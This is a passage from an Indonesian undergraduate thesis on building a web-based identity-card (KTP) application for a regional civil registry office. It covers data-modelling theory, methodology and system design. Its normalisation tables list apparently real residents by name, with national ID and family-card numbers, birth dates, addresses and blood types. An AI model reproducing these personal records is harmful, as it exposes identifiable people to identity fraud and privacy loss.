suatu sistem, baik secara manual maupun secara
elektronik. Simpanan data digunakan jika suatu proses
perlu menggunakan data tersebut kemudian (Kendall,
2002). Simbol dari simpanan data dapat dilihat pada
gambar 2.4
Data Store
2.9.1.3 Langkah-langkah Pembuatan DFD
1. Diagram Konteks.
Diagram Ini digunakan untuk menggambarkan sistem
secara umum dari keseluruhan yang ada. Diagram ini
menggambarkan hubungan sistem dengan lingkungan
lainnya.
Proses
36
2. Diagram Nol
Dibuat untuk menggambarkan tahapan proses yang ada di
dalam diagram konteks, yang penjabarannya lebih
terperinci.
3. Diagram Rinci
Dibuat untuk menggambarkan data secara lebih mendetail
dari tahapan proses yang ada didalam diagram nol.
2.9.2 Entity RelationshipDiagram (ERD)
Entity Relational Diagram (ERD) adalah suatu model yang
digunakan untuk menggambarkan data dalam bentuk entitas, atribut
dan hubungan antar entitas (Kadir, 2009). ERD dapat digunakan pada
semua alat-alat pemodelan dan satu-satunya metode untuk
menggambarkam sistem penyimpanan data
Tabel 2.1. Notasi Entity Relational Diagram (Kadir, 2009)
Simbol
Penjelasan Resmi
Arti Sebenarnya
Entitas
(sekelompok orang,
tempat atau sesuatu)
37
Entitas terhubung
(digunakan untuk
menghubungkan dua
entitas)
Entitas atribut
(Digunakan untuk
kelompok terulang)
Ke 1 hubungan
(Tepat satu)
Ke banyak hubungan
(satu atau lebih)
Ke 0 atau 1 hubungan
(hanya 0 atau 1)
Ke 0 atau lebih hubungan
(Dapat nol, satu atau
lebih)
38
Ke lebih dari 1 hubungan
(lebih besar dari satu)
2.9.3 Normalisasi
Normalisasi adalah proses pengelompokkan data kedalam
bentuk tabel atau relasi atau file untuk menyatakan entitas dan
hubungan mereka sehingga terwujud suatu bentuk database yang
mudah untuk dimodifikasi (Ladjamudin, 2005). Ada beberapa dalam
pembentukan normalisasi, yaitu :
a. Bentuk Tidak Normal (Unnormalized Form)
Bentuk ini merupakan kumpulan data yang akan direkam, tidak
ada keharusan mengikuti format tertentu, dapat saja data tidak
lengkap atau terduplikasi. Data dikumpulkan apa adanya sesuai
saat menginput.
b. Bentuk Normal kesatu (First Normal Form / 1NF)
Pada tahap ini dilakukan penghilangan beberapa grup elemen
yang berulang agar menjadi satu harga tunggal yang berinteraksi
diantara setiap baris pada suatu tabel, dan setiap atribut harus
mempunyai nilai data yang atomic (bersifat atomic value). Atom
adalah zat terkecil yang masih memiliki sifat induknya, bila ia
dipecah lagi maka ia tidak dapat memiliki sifat induknya, syarat
normal kesatu (1-NF), yaitu :
39
1. Setiap data dibentuk dalam flat file, data dibentuk dalam
satu record demi satu record nilai dari berupa “atomic
value”
2. Tidak ada set atribut yang berulang atau bernilai ganda.
3. Telah ditentukan primary key untuk tabel/relasi tersebut.
4. Tiap atribut hanya memiliki satu pengertian.
c. Bentuk Normal kedua (Second Normal Form / 2 NF)
Bentuk normal kedua didasari konsep full functional
dependency (ketergantungan fungsional sepenuhnya) yang dapat
didefinisikan sebagai berikut :
Jika A dan B adalah atribut-atribut dari suatu relasi. B
dikatakan full functional dependency (memiliki ketergantungan
funsional sepenuhnya) terhadap A, tetapi tidak secara tepat
memiliki ketergantungan fungsional dari subset (himpunan
bagian) dari A. Syarat normal kedua (2-NF), yaitu :
1. Bentuk data telah memenuhi kriteria bentuk normal
kesatu.
2. Atribut bukan key (non-key) haruslah memiliki
ketergantungan fungsional sepenuhnya (full functional
dependency) pada kunci utama / primary key.
d. Bentuk Normal ketiga (Third Normal Form / 3NF)
Syarat Normal ketiga (3-NF), yaitu :
1. Bentuk data telah memenuhi kriteria bentuk normal kedua.
40
2. Atribut bukan kunci (non-key) haruslah tidak memiliki
ketergantungan fungsional (functional dependency)
terhadap atribut bukan kunci (non-key) tidak boleh
memiliki ketergantungan fungsional (functional
dependency) terhadap atribut bukan kunci lainnya, seluruh
atribut bukan kunci pada suatu relasi hanya memiliki
ketergantungan fungsional terhadap primary key di relasi
itu saja.
2.9.4 Kamus Data (Data Dictionary)
Kamus data (KD) atau data dictionary (DD) atau disebut juga
dengan sistem data dictionary adalah katalog fakta tentang data dan
kebutuhan-kebutuhan informasi dari suatu sistem informasi. Dengan
menggunakan KD, analis sistem dapat mendefiniskian data yang
mengalir di sistem dengan lengkap. KD dibuat pada tahap analisis
sistem dan digunakan baik pada tahap analisis maupun pada tahap
perancangan sistem. Pada tahap analisis, KD dapat digunakan sebagai
alat komunikasi antara analisis sistem dengan pemakai sistem tentang
data yang mengalir di sistem, yaitu tentang data yang masuk ke sistem
dan tentang informasi yang dibutuhkan oleh pemakai sistem. Pada
tahap perancangan sistem, KD digunakan untuk merancang input,
merancang laporan-laporan dan database. KD dibuat berdasarkan arus
41
data yang ada di DAD. Arus data di DAD sifatnya adalah global,
hanya ditunjukkan nama arus datanya saja. (Jogiyanto, 2005)
2.10 Studi Literatur Sejenis
Dalam hal ini, penulis membaca dan memahami literatur ilmiah yang
sejenis dengan penulis, guna menambah literatur penulis dalam penelitian
yang akan penulis lakukan. Adapun literatur yang penulis sajikan adalah
berupa uraian singkat dan kelebihan serta kekurangan yang ada.
Sebuah Skripsi yang ditulis oleh Nofiyanti tahun 2006 dalam
penelitiannya berjudul “Pengembangan Sistem Informasi Data
Kependudukan Kec. Karangsambung Kebumen Jawa Tengah (Studi Kasus
di Kelurahan Banioro)”
Kelurahan Banioro merupakan bagian dari wilayah administrasi kota
Kebumen sangat terpengaruh dengan kebijakan dan perkembangan yang
terjadi di pusat pemerintahan tersebut. Seiiring dengan kepentigan akan
peningaktan pelayanan administrasi kepenududukan kepada masyarakat dan
menyesuaikan dengan status daerah yang sudah mandiri maka Kecamatan
Sadang dan Kecamatan Karangsambung.
Dalam rangkan mewujudkan penerapan teknologi informasi dalam
rangka meningkatkan efisiensi dan efektifitas penyelenggaraan
pemerintahan. Pemerintah Kecamatan Karangsambung, Kebumen
menerapkan teknologi informasi dalam menunjang manajemen
Pemerintahan pada tingkat Kelurahan terutama untuk memberikan informasi
42
rekapitulasi penduduk dimasing-masing Kelurahan untuk mengetahui
tingkat perkembangan jumlah yang harus dilaporkan ke tingkat Kecamatan
dan Kabupaten setiap bulannya. Namun pengolahan data kependudukan ini
masih dilakukan secara manual dan masih banyak mengalami permasalahan.
Penulis menawarkan salah satu solusi untuk menangani
permasalahan yang ada dengan memberikan usulan rancangan sistem
informasi data kependudukan.
Ferdiansyah pada tahun 2006 dalam penelitiannya berjudul “Aplikasi
Sistem Informasi Manajemen Kependudukan (SIMDUK) berbasis web
(studi kasus di Kantor Pemerintahan Kota Depok”
Dinas Kependudukan merupakan unsur pelaksanan Pemerintah
Daerah (PEMDA) di bidang kependudukan. Dinas Kependudukan dipimpin
oleh seorang Kepala Dinas yang berada dibawah dan bertanggung jawab
kepada Gubernur melalui Sekretaris Daerah. Dalam melaksanakan tugas dan
fungsinya dikoordinasikan oleh Asisten Praja dan Aparatur.
Penulis menawarkan salah satu solusi yaitu melalui aplikasi
SIMDUK, yang merupakan serangkaian unsure-unsur dan kegiatan
pengumpulan, pengelolaan dan penyajian informasi kependudukan secara
terpadu yang diperlukan fungsi utama Pemerintah Daerah (PEMDA).
Diaharapkan dengan aplikasi tersebut, suatu sistem database fleksibel
dimana data-data kependudukan bisa input, diupdate, diedit, dimanage dan
dishare sehingga terbangaun suatu sistem informasi bersama (online)
43
sehingga semua pihak bisa menggunakan data tersebut untuk kepentingan
bersama dengan otoritas tertentu.
Kelebihan dari kedua sistem kependudukan diatas sudah
terkomputerisasi sehingga mempercepat tugas-tugas administrasi dan
kinerja pegawai dalam pengelolaan data kependudukan karena tidak
dilakukan secara manual dan dapat diakses kapan saja.
Kelemahan dari kedua sistem kependudukan diatas adalah dalam
proses pembuatan Kartu Tanda Penduduk dan sebagainya, pengiputan data
masih dilakukan oleh pegawai kecamatan sehingga menggunakan waktu
yang relatif lama karena tidak adanya proses cetak Kartu Tanda Penduduk
(KTP) yang diterima oleh user
44
BAB III
METODOLOGI PENELITIAN
Pada bab ini akan dibahas tentang metode penelitian, meliputi metode
pengumpulan data dan metode pengembangan sistem.
3.1 Waktu dan Tempat Penelitian
Waktu dan tempat penelitian ini dilakukan dari bulan Oktober 2009
sampai Januari 2010, di kantor Dinas Kependudukan dan Catatan Sipil (Dukcapil)
Kabupaten Tanjung Jabung Timur Propinsi Jambi di Jln. Pangeran Diponegoro,
Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec. Muara Sabak
Barat.
3.2 Teknik Pengumpulan Data
Dalam penelitian ini, penulis menggunakan pendekatan kualitatif dengan
metode pengumpulan datanya dilakukan sebagai berikut :
3.2.1 Observasi
Observasi adalah pengamatan langsung suatu kegiatan yang
sedang dilakukan. Dalam penelitian ini, observasi dilakukan di bidang
pengelolaan informasi kependudukan pada bidang kependudukan dan
catatan sipil. Penulis melihat dan mengamati dan bagaimana proses sistem
kerja dalam pembuatan kartu tanda penduduk, yang meliputi tahap entri
44
45
data penduduk sampai ketahap print out pembuatan Kartu Tanda
Penduduk
3.2.2 Wawancara
Wawancara merupakan kegiatan yang mengumpulkan informasi
dengan cara mengajukan sejumlah pertanyaan. Penulis melakukan tanya
jawab dengan bapak H. Zainal U, S.Ag selaku kepala bidang pencatatan
sipil, untuk mengetahui beberapa hal :
a. Profil, sturktur organisasi dan tanggung jawab masing-masing.
b. Prosedur yang berjalan
c. Berbagai kendala dan permasalahan yang dihadapi oleh pegawai
dengan menggunakan sistem yang telah ada
Wawancara penulis lakukan pada tanggal 22 oktober 2009 di
kantor dinas kependudukan dan Catatan Sipil Kabupaten Tanjung Jabung
Timur di jln. P. Diponegoro, Komplek Perkantoran Bukit Menderang
Kelurahan Rano Kec. Muara Sabak Barat.
3.2.3 Studi Pustaka (Library Research)
Penulis mengumpulkan acuan yang diperoleh dari buku-buku serta
berbagai penelitian sebelumnya yang berhubungan dengan judul dalam
penulisan skripsi ini, terdapat beberapa penelitian yang sistem informasi
pemerintahan yang bisa dijadikan bahan referensi
46
3.2.4 Perbandingan Studi Sejenis
Tabel 3.1. Perbandingan Studi Sejenis
Perbedaan Penulis 1 (Noviyanti)
Penulis 2 (Ferdiansyah)
Penulis 3 (Shadiq Taqwa)
Bahasa pemprograman
VB
Program hanya dapat running di Windows. Itupun untuk windows lama, untuk windows terbaru seperti Vista, Visual Basic sangat tidak stabil berjalan di platform tersebut
PHP
Program dapat running di semua OS, PHP MySQL berjalan secara web base, itu artinya semua operating system yang memiliki web browser dapat menggunakan aplikasi ini, dan semua OS tentu saja selalu memiliki web browser, Windows dengan internet explorer, Linux dengan Mozilla, Macintosh dengan Safari, dan Handphone dengan Opera Mini. Sangat mobile dan fleksible.
PHP
Program dapat running di semua OS, PHP MySQL berjalan secara web base, itu artinya semua operating system yang memiliki web browser dapat menggunakan aplikasi ini, dan semua OS tentu saja selalu memiliki web browser, Windows dengan internet explorer, Linux dengan Mozilla, Macintosh dengan Safari, dan Handphone dengan Opera Mini. Sangat mobile dan fleksible.
Aplikasi Input data pada tahap rekapitulasi penduduk
Sistem database fleksibel dimana data-data kependudukan bisa input, diupdate, diedit, dimanage dan dishare
Mencetak KTP dengan mengunakan barcode
47
3.3 Metode Pengembangan Sistem
Metode pengembangan sistem yang penulis gunakan dalam penelitian
skripsi ini adalah dengan metode System Development Life Cycle (SDLC)
dengan menggunakan proses model RAD (Rapid Application Development).
Menurut Pressman (2005:82), RAD adalah sebuah model proses
pengembangan perangkat lunak sekuensial linear yang menekankan siklus
pengembangan cepat.
Gambar 3.1. The RAD Model (Pressman, 2005:82)
Communication
Planning Modelling
Business modelling
Team # 1
Construction
Component reuse
Modelling
Business modelling
Team # 2
Construction
Component reuse
Modelling
Business modelling
Team # 3
Construction
Component reuse
60 – 90
Deployment
Integration
48
Alasan penulis menggunakan metode RAD yaitu
1. Apabila menggunakan RAD untuk mendapatkan suatu desain yang
dapat diterima oleh konsumen dan dapat dikembangkan dengan mudah
serta memberikan batasan-batasan pada suatu sistem supaya tidak
mengalami perubahan.
2. Apabila menggunakan RAD untuk menghemat waktu, dan kalau
memungkinkan bisa menghemat biaya serta menghasilkan produk yang
berkualitas
Tujuan utama dari semua metode system development adalah
memberikan suatu sistem yang dapat memenuhi harapan dari para
pemakai, akan tetapi sering kali di dalam melakukan pengembangan suatu
sistem tidak melibatkan para pemakai system secara langsung, sehingga
hal ini menyebabkan sistem informasi yang dibuat jauh dari harapan
pemakai yang dapat berakibat sistem tersebut walaupun dapat diterima
tetapi para pemakai enggan untuk menggunakannya atau bahkan para
pemakai menolak untuk menggunakannya. Pada saat RAD
diimplementasikan, maka para pemakai bisa menjadi bagian dari
keseluruhan proses pengembangan system dengan bertindak sebagai
pengambil keputusan pada setiap tahapan pengembangan. RAD bisa
menghasilkan suatu system dengan cepat karena sistem yang
dikembangkan dapat memenuhi keinginan dari para pemakai sehingga
dapat mengurangi waktu untuk pengembangan ulang setelah tahap
implementasi
49
Tahapan-tahapan pengembangan sistem dengan proses model RAD
adalah sebagai berikut
a. Communication (dapat dibaca pada sub bab 4.2)
Pada tahap ini, penulis melakukan observasi untuk memahami
permasalahan yang terjadi, sehingga dapat diketahui informasi yang harus
diakomodasi oleh aplikasi yang akan dibuat.
Secara rinci, yang penulis lakukan pada tahap ini adalah
1) Menguraian sistem yang saat ini berjalan (dapat dibaca pada sub bab
4.2.1)
2) Menganalisis kebutuhan akan aplikasi (dapat dibaca pada sub bab 4.2.2)
b. Planning
Pada tahap ini, penulis melakukan perencanaan yaitu dengan membuat
timeline untuk memudahkan dan mengarahkan penulis dalam melakukan
pembuatan aplikasi (dapat dibaca pada sub bab 4.3)
c. Modelling (dapat dibaca pada sub bab 4.4)
Pada tahap ini, dilakukan pemodelan informasi yang harus di
akomodasi, proses-proses yang terjadi pada aplikasi, interface yang akan
dipergunakan, dan data yang diperlukan selama penggunaan aplikasi.
Secara rinci, yang penulis lakukan pada tahap ini adalah
1) Membuat Context Diagram (dapat dibaca pada sub bab 4.4.1)
2) Membuat Data Flow Diagram (dapat dibaca pada sub bab 4.4.2)
3) Membuat Entity Relational Diagram (dapat dibaca pada sub bab 4.4.3)
4) Membuat normalisasi database (dapat dibaca pada sub bab 4.4.4)
50
5) Merancang Kamus Data (dapat dibaca pada sub bab 4.4.5)
6) Merancang Antar Muka aplikasi (dapat dibaca sub bab 4.4.6)
d. Construction (dapat dibaca pada sub bab 4.5)
Diketahui juga sebagai tahap pembuatan atau pembangunan. Pada
tahap ini, yang penulis lakukan adalah membuat aplikasi pembuatan Kartu
Tanda Penduduk (KTP) dengan menggunakan XAMPP 1.7.0 (Apache
2.2.11, MySQL 5.1.30, PHP 5.2.8). Adapun editor yang penulis gunakan
adalah macromedia dreamweaver 8, sedangkan browser yang penulis
gunakan dalam percobaan aplikasi ini adalah Mozilla Firefox atau Google
Chrome.
e. Deployment
Deployment adalah tahapan penerapan aplikasi yang penulis lakukan
hingga pada tahap upload website dengan alamat website
www.tanjabtimur.go.id. (dapat dibaca pada sub bab 4.6).
51
BAB IV
HASIL DAN PEMBAHASAN
4.1. Pengumpulan Data
Dari hasil observasi dan wawancara yang penulis lakukan maka
informasi yang telah dikumpulkan yaitu :
4.1.1. Profil Instansi
a. Visi Instansi
Untuk mendorong semangat peningkatan kinerja Dinas
Kependudukan dan Pencatatan Sipil Kabupaten Tanjung Jabung
Timur mempunyai visi : Terwujudnya Kualitas Pelayanan Berbasis
SIAK Menuju Masyarakat Tertib Administrasi Kependudukan Pada
Tahun 2014
b. Misi Instansi
1. Mengembangkan kebijakan dan sistim serta menyelenggarakan
pendaftaran penduduk
2. Memberikan pelayanan yang optimal dan responsif sesuai
standar operasional prosedur yang berlandaskan pada kepuasan
pelanggan
3. Mengembangkan budaya etos kerja yang mendorong efisiensi
dan efektivitas kerja, penciptaan nilai kreatifitas, profesional dan
berwawasan kedepan.
51
52
4. Konsisten dan profesional dalam pelaksanaan kompetensi inti
organisasi guna mewujudkan keunggulan kompetitif.
4.1.2. Tugas Instansi
Tugas Dinas Kependudukan dan Pencatatan Sipil adalah sebagai berikut :
1. Perumusan kebijakan teknis sesuai dengan lingkup tugasnya.
2. Penyelenggaraan urusan pemerintahan dan pelayanan umum sesuai
dengan lingkup tugasnya.
3. Pembinaan dan pelaksanaan tugas sesuai dengan lingkup tugasnya.
4. Pelaksanaan tugas lain yang diberikan oleh Bupati sesuai dengan tugas dan
fungsinya.
53
4.1.3. Struktur Organisasi Periode 2005-2010
Gambar 4.1. Struktur Organisasi Dinas Kependudukan dan Catatan Sipil
54
4.2. Communication
4.2.1. Uraian Sistem Saat Ini
Langkah awal dalam proses pembuatan KTP (Kartu Tanda
Penduduk) adalah pemohon yang bersangkutan telah terdaftar sebagai
penduduk data daerah tersebut yang telah memiliki nomor induk
kependudukan. NIK diberikan kepada seseorang sejak yang bersangkutan
didaftar sebagai penduduk diwilayah Negara Republik Indonesia. Nomor
Induk Kependudukan (NIK) seseorang dicantumkan dalam setiap dokumen
kependudukan yaitu pada Kartu Keluarga, Kartu Tanda Penduduk, dan surat
surat keterangan kependudukan lainnya dan apabila pemohon atau
penduduk yang bersangkutan belum memiliki Nomor Induk Kependudukan
(NIK) akan secara merata didata oleh pegawai pencatatan penduduk dari
setiap kelurahan atau desa melalui proses pendatatan yang dimulai dari
instansi terkecil dari struktur organisasi pemerintahan yaitu Rukun Tetangga
(RT).
Sistem pembuatan KTP (Kartu Tanda Penduduk) yang berjalan di
Kabupaten Tanjung Jabung Timur sekarang adalah masih menggunakan
secara manual, yang dimulai dari proses-proses yang sangat merumitkan
penduduk dan menyita waktu yang relatif lama yaitu dimulai dari tahapan-
tahapan sebagai berikut:
1. Mengisi blangko/formulir KTP (Kartu Tanda Penduduk) yang
disediakan oleh setiap kepala RT (Rukun Tetangga) disetiap
kelurahan/desa, dan kemudian kepala RT memberikan surat pengantar
55
pembuatan KTP (Kartu Tanda Penduduk) dari RT untuk disampaikan
kepada kelurahan/desa
2. Pemohon menerima surat pengantar pembuatan KTP (Kartu Tanda
Penduduk) yang ditelah ditanda tangani oleh instansi kelurahan/desa.
3. Pemohon mengantar data pembuatan KTP (Kartu Tanda Penduduk)
yang telah diisi dan surat pengantar dari kelurahan/desa ke kantor
Kecamatan.
4. Pemohon menunggu selama 1 minggu atau lebih untuk menghasilkan
KTP (Kartu Tanda Penduduk) baru.
Setelah proses pembuatan KTP (Kartu tanda Penduduk) diatas
selesai, kemudian data penduduk dan data pembuatan KTP (Kartu Tanda
Penduduk) dimasukkan kedalam aplikasi spreadsheet, yaitu Microsoft
Office Excel. Kemudian laporan seluruh data kependudukan diolah
menggunakan aplikasi wordprocessor berupa Microsoft Office Word.
Berdasarkan peraturan pemerintah Republik Indonesia nomor 37
tahun 2007 tentang pelaksanaan undang-undang nomor 23 tahun 2006
tentang administrasi kependudukan yaitu administrasi kependudukan
adalah rangkaian kegiatan penataan dan penertiban dalam penerbitan
dokumen dan data kependudukan melalui pendaftaran penduduk,
pencatatan sipil, pengelolaan informasi administrasi kependudukan serta
pendayagunaan hasilnya untuk pelayanan public dan pembangunan sektor
lain.
56
W o rk F lo w
K e p a la R T K e lu ra h a n /D e s a K e c a m a ta nP e m o h o n
M u la i
M e n g is i B la n g k o /F o rm u lir
K T P
S u ra t P e n g a n ta r R T
S u ra t P e n g a n ta r R T
M e n g e c e k B io d a ta
P e m o h o n
S e tu ju
S u ra t P e n g a n ta r R T
S u ra t P e n g a n ta r K e lu ra h a n
M e n g e c e k B io d a ta
P e m o h o n
T a n d a T a n g a n S u ra t P e n g a n ta r
K e lu ra h a n
S u ra t P e n g a n ta r K e lu ra h a n
M e n g e c e k B io d a ta
P e m o h o n & M e n y e tu ju i
P e rm in ta a n P e m b u a ta n
K T P
S e tu ju
C e ta k K T P
S e le s a i
Y a
Y a
T id a k
T id a k
Gambar 4.2. Work Flow Sistem yang Berjalan
4.2.2. Analisis Kebutuhan
Dari hasil uraian sistem yang masih berjalan saat ini, dapat dianalisis
sebagai berikut:
1. Sistem administrasi kependudukan masih menggunakan sistem yang
manual sehingga memiliki berbagai macam kendala dan masalah.
Misalnya dalam hal penginputan data penduduk masih menggunakan
Microsoft excel sehinnga tidak menutup kemungkinan akan terjadi
57
kesalahan yang fatal jika kurang teliti dalam menginput data penduduk.
Pengintegrasian dengan sistem terkomputerisasi mampu menyelesaikan
berbagai permasalahan dan kendala tersebut. Selain itu aplikasi
pembuatan Kartu tanda Penduduk ini mampu memberikan kemudahan
bagi staf administrasi.
2. Sistem administrasi kependudukan sangat menyita waktu yang relatif
lama. Karena pengiriman data dari kelurahan atau desa dan data dari
kecamatan masih melalui tahap yang menggunakan jasa transfortasi
3. Laporan yang dihasilkan rentan terjadi kesalahan karena masih dilakukan
dengan mengetik secara manual format laporannya. Selain itu, jika
diperlukan laporan tahun-tahun sebelumnya, pegawai administrasi harus
membuat format laporan baru karena tidak adanya database.
Untuk itu, penulis mengajukan suatu aplikasi sistem yang dapat
diterapkan dinas Kependudukan dan Catatan Sipil untuk mempercepat
dalam pembuatan KTP (Kartu Tanda Penduduk) dan memberikan
kemudahan kepada pegawai administrasi dalam pengimputan data penduduk
dan laporannya berupa aplikasi berbasis web.
Untuk itu penulis mengusulkan perancangan aplikasi pembuatan
KTP (Kartu Tanda Penduduk), sebagai berikut :
1. Aplikasi yang penulis bangun ini berbasis web agar dapat diakses dmana
dan kapan saja
2. Membuat form input data penduduk untuk memudahkan pegawai
administrasi dalam memasukkan data penduduk ke database
58
3. Membuat form pembuatan KTP (Kartu Tanda Penduduk) yang bisa
diakses secara online
4. Membuat form pencarian yang dapat disesuaikan dengan kebutuhan
instansi
5. Membuat form cetak untuk dapat mencetak secara langsung KTP (Kartu
Tanda Penduduk) baru oleh intansi Kelurahan/Desa
6. Membuat form edit dan hapus yang dapat disesuikan dengan kebutuhan
instansi
Gambar 4.3. Gambar Flowchart Aplikasi
Mulai
Tampilan Awal
Pilihan LOGIN
User Admin
Pilihan Menu E-KTP
Menu Input Data Penduduk
Menu Pembuatan KTP
Menu Lihat Data Penduduk
Isi Data Pembuatan KTP
Cetak KTP
Selesai
Tidak
Ya
Ya Ya
Ya
Ya
Ya
Tidak
Tidak Tidak
Tidak
Tidak
59
4.2.3. Kebutuhan Perangkat Keras
1. Perangkat Keras
a. CPU (Central Processing Unit)
Spesifikasi yang penulis gunakan pengistalan aplikasi e-KTP ini
adalah sebagai berikut:
1) Processor setara dengan Pentium III atau lebih tinggi
2) Harddisk 20 GB
3) DDR RAM 256 MB
4) VGA on board
b. Keyboard
Keyboard adalah alat input yang biasanya didampingi dengan alat
tampilan (display) di layar monitor yang menampilkan apa yang
ditekan di keyboard.
c. Mouse
Mouse adalah alat input komputer yang digunakan oleh berbagai
program aplikasi GUI (Graphical User Interface) dengan
petunjuk posisi yang ditampilkan melalui monitor.
2. Perangkat Lunak
a. Sistem Operasi
Sistem operasi yang penulis gunakan dalam pembuatan aplikasi
ini adalah Microsoft Windows XP SP2.
b. Browser
60
Browser apa saja bisa digunakan, tapi penulis menyarankan untuk
menggunakan Mozilla Firefox atau Google Chrome.
4.3. Planning
Dalam hal ini, penulis membangun aplikasi pembuatan KTP (Kartu
Tanda Penduduk) secara individu. Adapun waktu yang diperlukan dalam
penelitian pembuatan aplikasi ini adalah selama sembilan (9) minggu.
Berikut ini adalah timeline yang penulis rancanakan selama membangun
aplikasi pembutan KTP (Kartu Tanda Penduduk) berbasis web :
Tabel 4.1. Planning Pembuatan Aplikasi
Minggu
ke-1
Minggu
ke-2
Minggu
ke-3
Minggu
ke-4
Minggu
ke-5
Minggu
ke-6
Minggu
ke-7
Minggu
ke-8
Minggu
ke-9
Communication
Planning
Modelling
Construction
Deployment
4.4. Modelling
4.4.1. Context Diagram
Context Diagram (Diagram Konteks) menggambarkan seluruh
elemen perangkat lunak sebagai sebuah proses dengan input dan output data
yang ditandai oleh panah masuk dan keluar berturut-turut. Proses-proses
tambahan dan aliran data seperti yang digambarkan di Context Diagram
dipisah untuk menampakkan proses yang lebih rinci.
61
Pada perancangan aplikasi ini terdapat tiga entitas yaitu Pegawai
Kelurahan, Pegawai Kecamatan, dan Pegawai Dukcapil. Berikut ini
merupakan aliran datanya:
1. Aliran data dari Pegawai Kelurahan/Desa ke Aplikasi berupa data
kependudukan yang telah di input pada masing-masing Kelurahan/Desa
2. Aliran data dari Aplikasi ke Kelurahan/Desa adalah berupa laporan data
kependudukan yang telah diterima dan data cetak KTP baru.
3. Aliran Data dari Aplikasi ke Kecamatan adalah berupa laporan cetak
KTP dan laporan data kependudukan yang telah di input dari tiap tiap
desa.
4. Aliran Data dari Dukcapil ke aplikasi adalah berupa data update agenda
kegitan dan update berita pemerintahan.
5. Aliran data dari Aplikasi ke Dukcapil adalah berupa laporan data
kependudukan dan laporan cetak KTP baru
Gambar 4.4. Context Diagram
Aplikasi Pembuatan KTP
Berbasis Web
Pegawai Kelurahan/Desa
Pegawai Dukcapil
Pegawai Kecamatan
Input formulir ktp
Input data penduduk
Laporan data penduduk
Cetak KTP baru Laporan cetak KTP
Laporan data penduduk
Laporan data penduduk
Laporan cetak KTP
Update agenda dan berita
62
4.4.2. Data Flow Diagram (DFD)
Data Flow Diagram (DFD) adalah gambaran grafis yang
menggambarkan aliran dan perubahan data, yang bergerak dari input ke
output. DFD dapat digunakan untuk menggambarkan sebuah sistem atau
perangkat lunak pada beberapa level.
Berikut ini adalah aliran data yang terjadi pada aplikasi pembuatan
KTP (Kartu Tanda Penduduk) :
1. Mengisi formulir KTP oleh penduduk ke admin kelurahan dan
kemudian admin kelurahan memasukkan data penduduk ke dalam
database kependudukan berupa data dari setiap penduduk dari proses
pendataan penduduk
2. Proses konfigurasi Nomor Induk Kependudukan (NIK) dan verifikasi
penduduk oleh sistem aplikasi melalui proses update penduduk
3. Proses pemasangan barcode oleh sistem aplikasi melalui proses
pembuatan barcod
4. Memasukkan laporan data penduduk dan laporan data KTP baru oleh
admin kelurahan melalui proses laporan data penduduk dan KTP
5. Memasukkan data pembuatan KTP oleh admin kelurahan melalui
proses cetak KTP
63
Berikut adalah gambar DFD Level 1:
Gambar 4.5. DFD Level 1
64
4.4.3. Entity Relational Diagram (ERD)
Entity Relational Diagram (ERD) adalah suatu model yang
digunakan untuk menggambarkan data dalam bentuk entitas, atribut dan
hubungan antar-entitas. ERD dapat digunakan pada semua alat-alat
pemodelan dan satu-satunya metode untuk menggambarkam sistem
penyimpanan data. Hubungan antara tabel yang didapat dari Data Flow
Diagram (DFD) diatas yaitu:
Gambar 4.6. Entity Relational Diagram (ERD)
65
4.4.4. Normalisasi
Sebelum normalisasi dilakukan, ditampilkan tabel serta atribut sesuai
dengan yang ada pada Entity Relational Diagram (ERD) untuk selanjutnya
dilakukan proses normalisasi
Tabel 4.2. Tabel Admin Sebelum Normalisasi
Login password
Admin *****
Tabel 4.3. Tabel Keseluruhan yang Belum Dinormalisasi 1 3 4 5
Nik no_kk nama_penduduk Jenis_kel
1507017010850002 1507072008004567 Ruwaidah Perempuan
1507011306900001 1507072008004426 Saipul Rizal Laki-laki
1507013107900001 150702100220457 Muhammad Akhyar Laki-laki
1507014106890001 1507072008003621 Fatmawati Perempuan
1507011007830002 1507072008004526 Muzakkar Laki-laki
150701700680002 1507072008006722 Anita Karlina Perempuan
1507012001850001 1507072008001290 Ahmad Malik Laki-laki
1507011903870001 1507072008002377 Sudirman Laki-laki
1507014506820002 1507072008009041 Faisah Perempuan
6 7 8 9 10 agama alamat rt Kelurahan/Desa Kecamatan
Islam Dusun Mawar 08 Simbur Naik Ma. Sabak Timur
Islam Dusun Pancasila 07 Simbur Naik Ma. Sabak Timur
Islam Rw/03 03 Nipah Panjang II Nipah Panjang
66
Islam Dusun Pancasila 06 Simbur Naik Ma. Sabak Timur
Islam Dusun Cendrawasih 13 Simbur Naik Ma. Sabak Timur
Islam Dusun Karya 10 Simbur Naik Ma. Sabak Timur
Islam Dusun Karya 10 Simbur Naik Ma. Sabak Timur
Islam Dusun Pancasila 07 Simbur Naik Ma. Sabak Timur
Islam Dusun Pancasila 07 Simbur Naik Ma. Sabak Timur
11 12 13 14 15
Tgl_lahir Tempat_lahir umur status Warganegara
30-10-1985 Simbur Naik 25 Menikah Indonesia
13-06-1990 Simbur Naik 20 Belum Menikah Indonesia
31-07-1990 Nipah Panjang 20 Belum Menikah Indonesia
01-06-1989 Simbur Naik 21 Belum Menikah Indonesia
10-07-1983 Simbur Naik 27 Belum Menikah Indonesia
30-06-1986 Simbur Naik 24 Menikah Indonesia
20-01-1985 Simbur Naik 25 Belum Menikah Indonesia
19-03-1987 Simbur Naik 23 Belum Menikah Indonesia
05-06-1982 Simbur Naik 28 Belum Menikah Indonesia
16 17 18 19 pekerjaan pendidikan Gol_darah Hub_kel
Guru SLTP O Istri
Mahasiswa SMA A Anak
Mahasiswa SMA B Anak
Mahasiswa SMA A Anak
Wiraswasta SMA B Anak
67
Karyawan Swasta SMA O Istri
Mahasiswa SMA B Anak
Guru SMA B Anak
Guru S1 O Anak
1. Normalisasi Tahap I
Langkah pertama dalam normalisasi hubungan adalah menghilangkan
atribut yang bernilai ganda dan membentuk sejumlah baris sehingga
setiap sel berisi satu nilai. Kemudian bagian yang kosong diisi dengan
data yang sesuai. Berdasarkan table atribut di setiap table diatas tidak
ditemukan adanya atribut yang bernilai ganda. Maka dilanjutkan
normalisasi tahap II.
2. Normalisasi Tahap II
Bentuk normal kedua adalah suatu bentuk yang mensyaratkan bahwa
relasi harus sudah berada dalam bentuk normal pertama dan tidak
mengandung dependensi parsial.
Tabel 4.4. Tabel Normalisasi Tahap II (Tabel Data Penduduk) 1 2 3 4
Nik no_kk nama Jenis_kelamin
1507017010850002 1507072008004567 Ruwaidah Perempuan
1507011306900001 1507072008004426 Saipul Rizal Laki-laki
